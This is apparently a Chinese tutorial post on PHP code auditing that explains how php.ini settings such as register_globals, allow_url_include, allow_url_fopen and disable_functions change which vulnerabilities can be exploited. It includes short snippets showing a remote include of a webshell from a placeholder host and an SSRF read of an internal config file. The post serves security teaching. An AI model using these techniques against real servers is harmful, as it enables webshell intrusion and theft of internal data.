代码审计之php配置文件

本来是打算以视频形式录制的，但是mac下试了几款录制软件，不到十几二十分钟电脑就疯狂发热，无奈改为书面版形式分享。

为什么要讲PHP配置文件，因为不同PHP配置文件意味着不同的PHP环境，而有些漏洞可以在特定PHP环境中执行，在其他PHP环境则不行。接下来我们一个一个看。

register_globals

该配置选项为全局变量注册，自版本5.40后已被废弃。如果开启了该配置，任何输入都会被注册为全局变量，如果被恶意利用可实现变量覆盖。

```
//register_globals =  On
echo $user;
```

此时访问 http://xx.xx.xx.xx/demo.php?user=1，页面输出1

allow_url_include

该配置选项为远程文件包含，自版本5.2后默认为Off。如开启了该选项，任意文件读取漏洞=getshell，因为可读取远程服务器上的php木马，而不用想方法上传至本地。

```
//allow_url_include = On
include ('http://xx.xx.xx.xx/webhsell.php');
```

如果关闭该选项，则无法远程包含。

allow_url_fopen

该选项为远程文件读取，默认设置为On。fopen本身的变量控制不当则造成任意文件读取，远程的作用主要是用来SSRF，读取内网文件。

```
//allow_url_fopen = On
$hanlde = fopen('http://内网ip/config.php','r');
while(!feof($handle)){
    echo fgets($handle);
}
```

disable_functions

禁用函数，用逗号分隔，在黑名单列表当中的函数都无法被调用。

```
//disable_functions=system,exec,phpinfo
phpinfo();
system('whoami');
exec('ls');
```

输出空白页，无结果。

display_error,error_reporting

错误信息是否显示以及显示等级。这个如果有开启可以爆出物理路径等关键信息，并且注入也相当于有了一定程度的回显。

```
//display_error = On
//error_reporting = E_ALL
ATToT();
```

不存在相关函数直接爆错得到敏感信息。

magic_quotes_gpc

魔术引号，自动对cookie,get,post中的单引号，双引号，空白符，反斜杠进行转义。自版本5.40开始已废除。

```
//magic_quotes_gpc = On
echo $_GET['test'];
```

访问http://xx.xx.xx.xx/demo.php?test='，输出\' 有些同学会认为有魔术引号就没办法注入了，其实不是的，下次我会讲魔术引号也防护不到的情况。

magic_quotes_sybase

将会使用单引号对单引号进行转义而非反斜线。如果同时打开gpc的话，单引号将会被转义成''。而双引号、反斜线 和 NULL 字符将不会进行转义。

```
//magic_quotes_sybase = On
echo $_GET['test'];
```

访问http://xx.xx.xx.xx/demo.php?test='，输出''

open_base_dir

可访问目录。这里的目录为绝对路径，并非相对路径。且路径名称必须以/结束，否则，若设置为/var/www/html，则/var/www/html2也可访问。

```
//open_base_dir = /var/www/html/test/
```

访问test下的php文件成功访问，访问另一个真实目录/var/www/html/test2/下的php文件则被拒绝。